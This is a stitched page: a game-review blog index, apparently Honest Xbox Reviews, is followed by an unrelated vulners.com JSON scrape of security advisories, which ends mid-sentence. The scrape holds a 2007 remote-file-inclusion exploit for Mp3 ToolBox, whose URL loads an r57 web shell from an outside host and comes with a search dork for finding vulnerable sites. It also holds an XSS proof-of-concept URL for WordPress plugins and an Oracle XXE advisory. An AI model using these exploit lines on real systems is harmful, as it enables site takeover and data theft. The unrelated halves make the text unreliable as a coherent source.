text:
Reader Reviews - Outlast 2
I thought it was about time I let you guys also have your say on the blog, with reader reviews hopefully being something you guys feel like taking part in the future, and something we can see more of as the months go on. I don't get to review all the games that become available, both through choice and through sometimes just missing out. Now to get the reviews up for disc releases this is just a case of me trying to fit a rental version of the game into my life if I can, but digital releases would cost me an absolute load of money to buy them all. Sometimes you guys buy these games, and if you're anything like me you just want to have your say about them. The people who write these reviews will have all social media links to find them at the bottom of their review.
Thanks to Aaron today, who has decided to give us his thoughts on the recently released Outlast 2, which to be honest after the recent Resident Evil 7 review I was not looking forward to having to play for a review…
HXR Overdue Review - Resident Evil 7 Biohazard
Games that come out that have the sole purpose of just making you crap your pants are games I tend to avoid the older I get. Back in my younger days I lovedddddddd Resident Evil, with the dogs jumping through the windows being the one time I got my older brother to leap off his bed like a frog while playing the game in the dark. Just knowing that part of the game was coming up as he played it and having to hold in my excitement of finally getting my own back on this person who had mocked me for being scared of the likes of Jason and Freddy for the last few years, will be one gaming memory that will always stick with me. It's so much better too when you can laugh at someone else pooping themselves at scary things, but when it's you doing the pooping it's not funny anymore at all.
With nothing to review I decided I had to man up and finally play this after renting it from Boomerang games here in the UK about three weeks ago. I did start to play it when it showed up back the…
HXR Review - Voodoo Vince Remastered
Voodoo Vince was a game that must have gone under my radar when it released on the original Xbox back in 2003. No idea what I was doing at the time, but the original Xbox for me was the console that got me back into online gaming, as not since the Dreamcast had I dipped my toes into the murky waters of online play. Maybe because Voodoo Vince was a single player experience I just ignored it, as I was too busy with games like Burnout to care what a voodoo doll could offer me. Nostalgia is a word I can't seem stop typing up of late in reviews, what with Yooka-Laylee still being fresh in the mind, and Voodoo Vince sort of being the same sort of game once you get going with it. Maybe then this was a terrible time to review the game, as I had a love-hate relationship with Yooka, so what could a game that turns 14 in October offer me any different.
You play Vince, a voodoo doll of Madam Charmaine who at the start of the game is kidnapped along with some of her zombie dust by a bunch of …
HXR Blog - One Year Old / Giving back To You Lot (GIVEAWAY)
A year ago today I decided to bring back Honest Xbox Reviews with the hope that people would actually come and read whatever words I typed up on review items that I got my hands on. Like the little box on the side of the blog has said since this started, I know I'm not the greatest when it comes to forming words into a sentence, but hopefully, my passion and enjoyment of typing comes across in what I do.
I've been doing this now for what feels like forever, with this name being used on a website previously, and then Honest Games Reviews being my writing home. Sure this journey has had its ups and downs over the years, but I still enjoy getting to meet new people on social media and also offering reviews that don't hold back or tiptoe around something being utterly pants because it might end with me being ignored in the future
If you've followed me from day dot (I'm talking HXR first time around) you will know I always try to give back to those who support and re…
HXR Review - Yooka-Laylee
Back in 2015, the Internet went nuts for Yooka-laylee and its Kickstarter project, with the project raising £2.1 million by the time it closed and helped make the dreams of Playtonic become a reality. You only have to look at Kickstarters for games such as Yooka-Laylee and Shenmue to see the chance of a dev team or once loved game series coming back to life seemingly making most gamers throw all their money at their computer screens. I have fond memories of game called Croc back on my PS1, and it's actually because of those memories that I even wanted to give Yooka-Laylee a look. Ask me my feelings on Banjo-Kazooie and you will just get a shrug of the shoulders, as I can't say I've ever been a fan or played the game longer than half an hour in my whole life.
Yooka-Laylee sees you taking control of the duo that is Yooka and Laylee, with Yooka being the green lizard character and Laylee being the Bat that sits on your head. The story goes that evil Capital B (who looks noth…
The Walking Dead: Season 2 & Assassin's Creed Revelations Are Now Available With GwG
The title of this post pretty much sums it up really, with two new games now available to download for your Xbox One (or 360 in the case of AC Revelations). The Walking Dead is a great game to download if you want to play an interactive TV show, with ACR being a game I can't really remember playing that much if I'm honest, with a check on achievements showing I only made it to DNA sequence 3 when I played it.
You can be taken to the store for The Walking dead by clicking here, and for AC Revelations by clicking here.
Sine Mora EX (Remaster) Slated For A Summer Release On The Xbox One
For those of you who are not Familiar with the game Sine Mora, well it was a game that was released back on the Xbox 360 way back in 2012, with the game being a pretty decent if my memory serves me correct. I did review it at the time, but sadly that review seems to either have been deleted or lost when we moved sites at my other place of writing. But anyway, we are going off track here.
Sine Mora EX is slated for a Summer release on a bunch of formats (including the Xbox One), and looks to be a remaster of the original game with a few new perks added to it. The website for the game lists things such as the game offering local co-op for up to 2 players in Story mode, three New versus modes called Race, Tanks, and Dodgeball, New challenge levels, and also Improved Rendering. However, going through the website and old 360 listing I did notice a decrease in how many weapon combinations there would be in the game, with the original game offering 60 and this new EX version offering only 5…
HXR Review - LEGO City Undercover
LEGO games have pretty much stuck to the tried and tested formula of being fun games yet not upgrading too much for a good few years now. On the one side, why should they. As they are just silly games to play and they do a good job of that. But on the other side you have the gamers who grew bored of what felt like the same game but in a different skin release after release, and because of that they now just ignore every new LEGO release that is on the way. I tend to not try and play every single LEGO game because of this reason too, with me only ever finishing a handful of them if I for whatever reason found myself getting addicted to what it had to offer. The last LEGO game to do this to me was The Hobbit, with something about that game just sucking me in and me finding myself losing around 50 hours of my life to it when I last checked.
Seeing stuff for Lego City Undercover (Originally released on the WII U in 2013) before release I had that feeling I was going to enjoy this one. Mo…
HXR Review - Punch Club
Punch Club is the sort of game I look at wanting to play it, but never go through with the purchase because I know I will suck at it. I remember first seeing Punch Club when it came onto Steam back in 2016, and I think I may have checked out the Twitch stream they did where if the Twitch audience beat the game they would release it early. It just looked cool, and I remember saying to myself back then I must give the game a look when it comes to consoles. Sure enough here we now are with it released the Xbox One, so after putting a few hours in the ring here are my thoughts.
Punch Club falls under a number of genres once you give it a chance, and is certainly worth checking out if you enjoyed games such as the recently released Fallout Shelter on the Xbox One. If you want an actual genre however, well the website calls it a Fighter management sim with RPG and tycoon elements, so let's go with that.
The story of the game starts with you as a child watching your shirtless Dad punch …
HXR Review - Aaero
I have started many drafts of this review up filled with humorous jabs at the fact this game shares its name with a certain chocolate bar that many of us have shoved down our faces, with mint being my personal favourite. We are all strapped for time though, so I shall skip the lines filled with chocolate bars and just get on with talking about this little gem from the guys at Mad Fellows.
I first set eyes on this game a few weeks ago, with a Kickstarter underway so the game could get onto Steam, a tweet came into my timeline and the rest is history. Watching a few trailers the music sunk into what remaining brain cells I have left and repeated themselves until I had no other choice, I needed this game in my life.
I pretty much covered the concept of Aaero in the recent news post I did, with that feeling still being the same now I've played it too. Have you ever tapped your head and rubbed your belly or vice versa? Well, that's this but with a kickass soundtrack to it. Your go…
HXR Review - Bulletstorm: Full Clip Edition
Bulletstorm for the Xbox 360 was a game I bought thanks to it having a Gears beta code offer attached to it at launch. Sure the trailers looked semi-decent at the time, but I was just there for Gears and nothing else. When I finally had the game in hand and got to play it however, I found a game that was not only fun to play, but it also offered something very different to what was available at that time when it came to shooters. Was it that good that it deserves a remaster and re-release six years later? That's something up for debate.
Bulletstorm sees you playing the role of Grayson Hunt, the leader of a group called Dead Echo who are nothing more than paid assassins on the payroll of a man known as General Sarrano. After a mission in which they kill a reporter by the name of Bryce Novak, they find out the general has been lying to them all along about who these targets were, with Grayson and team thinking they were taking out high-end targets when actually the people they have…
Three New Games Coming To The EA Access Vault Between Now And June
EA Access if the gift that keeps on giving, with the vault set for three new games to join the already bumper list that is on offer for a small monthly or yearly sum. GAME and other trade in stores better get ready, as one game joining the vault will see these guys overloaded with a certain loved/hated franchise coming through their doors a lot in the next couple of weeks.
FIFA 17 is coming to the vault first on April 21st, with Dragon Age: Origins and Medal of Honor Airborne that are both Xbox 360 titles coming sometime after between then and June. You can check out my FIFA 17 review by clicking here, and read up all about EA access by clicking here.
Cars 3: Driven To Win Coming This July To The Xbox One
Say what you will about previous Cars games on consoles, but I know that all have been enjoyed by one Cars fan in my house, that being the Son who has enjoyed getting Dad gamerscore on them since the first game and film.
Cars 3 Driven To Win is set for release on July 14th for the Xbox One and also a number of other formats, with the game promising to extend the storyline of Cars 3 with all-new adventures, while taking players through a high-speed competition that is filled with both familiar and new faces. The likes of Lightning McQueen, newbies like Cruz Ramirez and Jackson Storm are all set to feature in the game, with the game having more than 20 customisable playable characters to choose from. Players can also select race environments from a series of iconic settings from the film, such as Radiator Springs and Florida International Speedway with over 20 unique tracks to choose from across 13 different locations. Looking forward to this, if not just for the sweet gamerscore that …
HXR Review - Troll And I
Just before Christmas, I came across this interesting looking game while scrolling through the coming soon section of the game rental service I use, a game that looked to offer something along the same lines of Brothers: A Tale Of Two Sons, or so I thought and even hoped at least. Not going to be a long review this one, so let's crack on shall we.
Troll And I follows the adventures of a teenage boy called Otto, and a Troll who he befriends after watching his home (with dear Mum there too) set on fire, with the hunters who did this on the lookout for this mythical creature. The hunters are there thanks to a rich man wanting a troll dead or alive for his collection, it's that simple.
The game kicks off with a little tutorial showing how to hunt things down and craft new items, with the first 15 minutes or so seeming like this game is going to be all about you needing items to survive and to sneak around killing little goblin like characters that you face (all look the same afte…
HXR Spoiler Free Review - Mass Effect: Andromeda
I glanced through a load of reviews for this a few days before launch day while waiting for my copy to show up, with many of them seemingly wanting to make readers aware of not only how much love they had for past games in the series, but also how every little detail of the ME storyline had somehow stayed with them over the years. Sadly my mind forgets what happened a week ago, let alone when years pass. I played ME1 (for an hour as this one bored me) and ME2 and ME3 for a stupid amount of time, but to sit here and pretend I remember every single detail about my experience would be a lie. The only lasting memory other than growing to care for the characters in the later games was of me spending hours trying to make love to a blue alien and Miranda, just so I could tick it off the list. Don't judge me, as we all know most of us did this. So will this review have lines filled with me looking fondly back on how I went out on adventures with other characters? Nope is the short answer…


text:
Mp3 ToolBox 1.0 beta 5 Remote File İnclude Vulnerability
ID SECURITYVULNS:DOC:18490
Type securityvulns
Reporter Securityvulns
+_______By CrackersChild___________+
* * * [~] Script.......: Mp3 ToolBox 1.0 beta 5 * [~] Download.....: http://www.radiotoolbox.com/downloads/mp3toolbox/mp3_toolbox_beta-5.zip * [~] Author.......: Crackers_Child | cybermilitan@hotmail.com & localexploit@hotmail.com * [~] Class........: Remote File İnclude Vulnerability * [~] Dork.........: intitle:Mp3 ToolBox 1.0 +_________________+
+_________________+ * *
* [~] Exploit Rfi...: http://[Taget]/[Path]/index.php?skin_file=http://sibersavascilar.com/shelz/r57.txt? * *
+_________________+
[~] Vulnerable......:   include($skin_file);
+_________________+ * * * [~] Special Thanx.......: str0ke, BiyoSecurity.Net, SiberSavascilar.com And All F3ckers :) * +_________________+
{"id": "SECURITYVULNS:DOC:18490", "bulletinFamily": "software", "title": "Mp3 ToolBox 1.0 beta 5 Remote File İnclude Vulnerability", "description": "+______________________________________________By Crackers_Child___________________________________________+\r\n\r\n*\r\n*\r\n* [~] Script.......: Mp3 ToolBox 1.0 beta 5\r\n* [~] Download.....: http://www.radiotoolbox.com/downloads/mp3toolbox/mp3_toolbox_beta-5.zip\r\n* [~] Author.......: Crackers_Child | cybermilitan@hotmail.com & localexploit@hotmail.com\r\n* [~] Class........: Remote File İnclude Vulnerability\r\n* [~] Dork.........: intitle:Mp3 ToolBox 1.0\r\n+_______________________________________________________________________________________________________________________+\r\n\r\n\r\n+_______________________________________________________________________________________________________________________+\r\n*\r\n*\r\n* \r\n*\r\n* [~] Exploit Rfi...: http://[Taget]/[Path]/index.php?skin_file=http://sibersavascilar.com/shelz/r57.txt?\r\n*\r\n* \r\n+_______________________________________________________________________________________________________________________+\r\n\r\n\r\n\r\n [~] Vulnerable......: include($skin_file);\r\n \r\n\r\n\r\n\r\n+_______________________________________________________________________________________________________________________+\r\n\r\n+_______________________________________________________________________________________________________________________+\r\n*\r\n*\r\n* [~] Special Thanx.......: str0ke, BiyoSecurity.Net, SiberSavascilar.com And All F3ckers :)\r\n*\r\n+_______________________________________________________________________________________________________________________+ ", "published": "2007-11-25T00:00:00", "modified": "2007-11-25T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:18490", "reporter": "Securityvulns", "references": [], "cvelist": [], "type": "securityvulns", "lastseen": "2018-08-31T11:10:24", "edition": 1, "viewCount": 59, "enchantments": {"score": {"value": 1.4, "vector": "NONE", "modified": "2018-08-31T11:10:24", "rev": 2}, "dependencies": {"references": [{"type": "mskb", "idList": ["KB953331", "KB2874216", "KB980408", "KB981401", "KB2425179", "KB2510690", "KB317244", "KB2501721", "KB2785908", "KB2526297"]}], "modified": "2018-08-31T11:10:24", "rev": 2}, "vulnersScore": 1.4}, "affectedSoftware": [], "immutableFields": [], "cvss2": {}, "cvss3": {}}
{"cve": [{"lastseen": "2021-04-22T23:44:08", "description": "Barracuda Web Application Firewall (WAF) 7.8.1.013 allows remote attackers to bypass authentication by leveraging a permanent authentication token obtained from a query string.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-02-12T01:15:00", "type": "cve", "title": "CVE-2014-2595", "cwe": ["CWE-613"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-2595"], "modified": "2020-02-20T15:55:00", "cpe": ["cpe:/a:barracuda:web_application_firewall:7.8.1.013"], "id": "CVE-2014-2595", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-2595", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:barracuda:web_application_firewall:7.8.1.013:*:*:*:*:*:*:*"]}, {"lastseen": "2021-04-21T20:41:43", "description": "A symlink issue exists in Iceweasel-firegpg before 0.6 due to insecure tempfile handling.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-11-18T22:15:00", "type": "cve", "title": "CVE-2008-7273", "cwe": ["CWE-59"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2008-7273"], "modified": "2019-11-20T15:56:00", "cpe": [], "id": "CVE-2008-7273", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-7273", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": []}, {"lastseen": "2021-04-21T20:41:43", "description": "FireGPG before 0.6 handle user\u2019s passphrase and decrypted cleartext insecurely by writing pre-encrypted cleartext and the user's passphrase to disk which may result in the compromise of secure communication or a users\u2019s private key.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 7.5, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 3.6}, "published": "2019-11-08T00:15:00", "type": "cve", "title": "CVE-2008-7272", "cwe": ["CWE-312"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2008-7272"], "modified": "2020-02-10T21:16:00", "cpe": [], "id": "CVE-2008-7272", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-7272", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, "cpe23": []}, {"lastseen": "2020-10-03T13:38:48", "description": "** REJECT ** DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: none. Reason: This candidate was withdrawn by its CNA. Notes: none.", "cvss3": {}, "published": "2019-10-28T15:15:00", "type": "cve", "title": "CVE-2019-18490", "cwe": [], "bulletinFamily": "NVD", "cvss2": {}, "cvelist": ["CVE-2019-18490"], "modified": "2019-10-28T15:15:00", "cpe": [], "id": "CVE-2019-18490", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-18490", "cvss": {"score": 0.0, "vector": "NONE"}, "cpe23": []}, {"lastseen": "2021-04-23T00:07:55", "description": "The contact-form-multi plugin before 1.2.1 for WordPress has multiple XSS issues.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "baseScore": 6.1, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "userInteraction": "REQUIRED", "version": "3.0"}, "impactScore": 2.7}, "published": "2019-08-13T17:15:00", "type": "cve", "title": "CVE-2017-18490", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-18490"], "modified": "2019-08-16T01:41:00", "cpe": [], "id": "CVE-2017-18490", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-18490", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}, "cpe23": []}, {"lastseen": "2021-04-22T23:51:50", "description": "Controllers.outgoing in controllers/index.js in NodeBB before 0.7.3 has outgoing XSS.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "baseScore": 6.1, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "userInteraction": "REQUIRED", "version": "3.0"}, "impactScore": 2.7}, "published": "2019-04-30T14:29:00", "type": "cve", "title": "CVE-2015-9286", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-9286"], "modified": "2019-05-01T14:22:00", "cpe": [], "id": "CVE-2015-9286", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-9286", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}, "cpe23": []}], "github": [{"lastseen": "2021-12-22T11:54:38", "description": "Controllers.outgoing in controllers/index.js in NodeBB before 0.7.3 has outgoing XSS.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "baseScore": 6.1, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "userInteraction": "REQUIRED", "version": "3.0"}, "impactScore": 2.7}, "published": "2019-05-01T18:37:08", "type": "github", "title": "Cross-site Scripting in NodeBB", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-9286"], "modified": "2021-08-03T21:27:01", "id": "GHSA-72FV-QGJ6-2W2P", "href": "https://github.com/advisories/GHSA-72fv-qgj6-2w2p", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}], "osv": [{"lastseen": "2021-11-19T01:50:12", "description": "Controllers.outgoing in controllers/index.js in NodeBB before 0.7.3 has outgoing XSS.", "cvss3": {}, "published": "2019-05-01T18:37:08", "type": "osv", "title": "Cross-site Scripting in NodeBB", "bulletinFamily": "software", "cvss2": {}, "cvelist": [], "modified": "2021-08-03T21:27:01", "id": "OSV:GHSA-72FV-QGJ6-2W2P", "href": "https://osv.dev/vulnerability/GHSA-72fv-qgj6-2w2p", "cvss": {"score": 0.0, "vector": "NONE"}}], "wpexploit": [{"lastseen": "2021-02-15T22:22:44", "bulletinFamily": "exploit", "cvelist": ["CVE-2017-18487", "CVE-2017-18556", "CVE-2017-18558", "CVE-2017-18565", "CVE-2017-18490", "CVE-2017-18491", "CVE-2017-18492", "CVE-2017-18493", "CVE-2017-18494", "CVE-2017-18496", "CVE-2017-18500", "CVE-2017-18501", "CVE-2017-18502", "CVE-2017-18505", "CVE-2017-18517", "CVE-2017-18518", "CVE-2017-18527", "CVE-2017-18528", "CVE-2017-18529", "CVE-2017-18530", "CVE-2017-18532", "CVE-2017-18537", "CVE-2017-18542", "CVE-2017-18557", "CVE-2017-18566", "CVE-2017-18564", "CVE-2017-18562", "CVE-2017-18516", "CVE-2017-18590"], "description": "\n", "modified": "2020-09-22T07:19:40", "published": "2017-04-12T00:00:00", "id": "WPEX-ID:EFD816C3-90D4-40BF-850A-0E4C1A756694", "href": "", "type": "wpexploit", "title": "Multiple BestWebSoft Plugins - Authenticated Cross-Site Scripting (XSS)", "sourceData": "http://www.example.com/wp-admin/admin.php?page=bws_panel&category=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%2842%29%3C%2Fscript%3E", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}], "wpvulndb": [{"lastseen": "2021-02-15T22:22:44", "bulletinFamily": "software", "cvelist": ["CVE-2017-18487", "CVE-2017-18556", "CVE-2017-18558", "CVE-2017-18565", "CVE-2017-18490", "CVE-2017-18491", "CVE-2017-18492", "CVE-2017-18493", "CVE-2017-18494", "CVE-2017-18496", "CVE-2017-18500", "CVE-2017-18501", "CVE-2017-18502", "CVE-2017-18505", "CVE-2017-18517", "CVE-2017-18518", "CVE-2017-18527", "CVE-2017-18528", "CVE-2017-18529", "CVE-2017-18530", "CVE-2017-18532", "CVE-2017-18537", "CVE-2017-18542", "CVE-2017-18557", "CVE-2017-18566", "CVE-2017-18564", "CVE-2017-18562", "CVE-2017-18516", "CVE-2017-18590"], "description": "### PoC\n\nhttp://www.example.com/wp-admin/admin.php?page=bws_panel&category;=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%2842%29%3C%2Fscript%3E\n", "modified": "2020-09-22T07:19:40", "published": "2017-04-12T00:00:00", "id": "WPVDB-ID:EFD816C3-90D4-40BF-850A-0E4C1A756694", "href": "https://wpscan.com/vulnerability/efd816c3-90d4-40bf-850a-0e4c1a756694", "type": "wpvulndb", "title": "Multiple BestWebSoft Plugins - Authenticated Cross-Site Scripting (XSS)", "sourceData": "", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}], "openbugbounty": [{"lastseen": "2017-10-17T04:45:13", "bulletinFamily": "bugbounty", "cvelist": [], "description": "##### Vulnerable URL:\n \n \n http://www.nationalenquirer.com/search/?search=\">\n \n\n##### Details:\n\nDescription| Value \n---|--- \nPatched:| No \nLatest check for patch:| 30.07.2017 \nVulnerability type:| XSS \nVulnerability status:| Publicly disclosed \nAlexa Rank| 18490 \nVIP website status:| Yes \nCheck nationalenquirer.com SSL connection:| (Grade: F) \n \n##### Coordinated Disclosure Timeline:\n\nDescription| Value \n---|--- \nVulnerability submitted via Open Bug Bounty| 6 June, 2016 05:15 GMT \nVulnerability existence verified and confirmed| 6 June, 2016 14:06 GMT \nNotification sent to subscribers (without technical details)| 6 June, 2016 18:17 GMT \nVulnerability details disclosed by researcher| 27 June, 2016 14:11 GMT\n", "modified": "2016-06-27T14:11:00", "published": "2016-06-06T05:15:00", "href": "https://www.openbugbounty.org/reports/158042/", "id": "OBB:158042", "type": "openbugbounty", "title": "nationalenquirer.com XSS vulnerability ", "cvss": {"score": 0.0, "vector": "NONE"}}], "securityvulns": [{"lastseen": "2018-08-31T11:11:02", "description": "\r\n\r\n1. ADVISORY INFORMATION\r\n\r\nTitle: Oracle E-Business Suite - XXE injection\r\nAdvisory ID: [ERPSCAN-15-029]\r\nAdvisory URL: http://erpscan.com/advisories/erpscan-15-029-oracle-e-business-suite-xxe-injection-vulnerability/\r\nDate published: 21.10.2015\r\nVendors contacted: Oracle\r\n\r\n2. VULNERABILITY INFORMATION\r\n\r\nClass: XML External Entity [CWE-611]\r\nImpact: information disclosure, DoS, SSRF, NTLM relay\r\nRemotely Exploitable: Yes\r\nLocally Exploitable: No\r\nCVE Name: CVE-2015-4849\r\nCVSS Information\r\nCVSS Base Score: 6.8 / 10\r\nAV : Access Vector (Related exploit range) Network (N)\r\nAC : Access Complexity (Required attack complexity) Medium (M)\r\nAu : Authentication (Level of authentication needed to exploit) None (N)\r\nC : Impact to Confidentiality Partial (P)\r\nI : Impact to Integrity Partial (P)\r\nA : Impact to Availability Partial (P)\r\n\r\n3. VULNERABILITY DESCRIPTION\r\n\r\n1) An attacker can read an arbitrary file on a server by sending a\r\ncorrect XML request with a crafted DTD and reading the response from\r\nthe service.\r\n2) An attacker can perform a DoS attack (for example, XML Entity Expansion).\r\n3) An SMB Relay attack is a type of Man-in-the-Middle attack where the\r\nattacker asks the victim to authenticate into a machine controlled by\r\nthe attacker, then relays the credentials to the target. The attacker\r\nforwards the authentication information both ways and gets access.\r\n\r\n4. VULNERABLE PACKAGES\r\n\r\nOracle E-Business Suite 12.1.3\r\n\r\nOther versions are probably affected too, but they were not checked.\r\n\r\n5. SOLUTIONS AND WORKAROUNDS\r\n\r\nInstall Oracle CPU October 2015\r\n\r\n6. AUTHOR\r\nNikita Kelesis, Ivan Chalykin, Alexey Tyurin (ERPScan)\r\n\r\n7. TECHNICAL DESCRIPTION\r\n\r\nVulnerable servlet:\r\n/OA_HTML/IspPunchInServlet\r\n\r\n\r\n8. REPORT TIMELINE\r\n\r\nReported: 17.07.2015\r\nVendor response: 24.07.2015\r\nDate of Public Advisory: 20.10.2015\r\n\r\n9. REFERENCES\r\n\r\nhttp://www.oracle.com/technetwork/topics/security/cpuoct2015-2367953.html\r\nhttp://erpscan.com/advisories/erpscan-15-029-oracle-e-business-suite-xxe-injection-vulnerability/\r\n\r\n10. ABOUT ERPScan Research\r\nThe company\u2019s expertise is based on the research subdivision of\r\nERPScan, which is engaged in vulnerability research and analysis of\r\ncritical enterprise applications. It has achieved multiple\r\nacknowledgments from the largest software vendors like SAP, Oracle,\r\nMicrosoft, IBM, VMware, HP for discovering more than 400\r\nvulnerabilities in their solutions (200 of them just in SAP!).\r\nERPScan researchers are proud to have exposed new types of\r\nvulnerabilities (TOP 10 Web Hacking Techniques 2012) and to be\r\nnominated for the best server-side vulnerability at BlackHat 2013.\r\nERPScan experts have been invited to speak, present, and train at 60+\r\nprime international security conferences in 25+ countries across the\r\ncontinents. These include BlackHat, RSA, HITB, and private SAP\r\ntrainings in several Fortune 2000 companies.\r\nERPScan researchers lead the project EAS-SEC, which is focused on\r\nenterprise application security research and awareness. They have\r\npublished 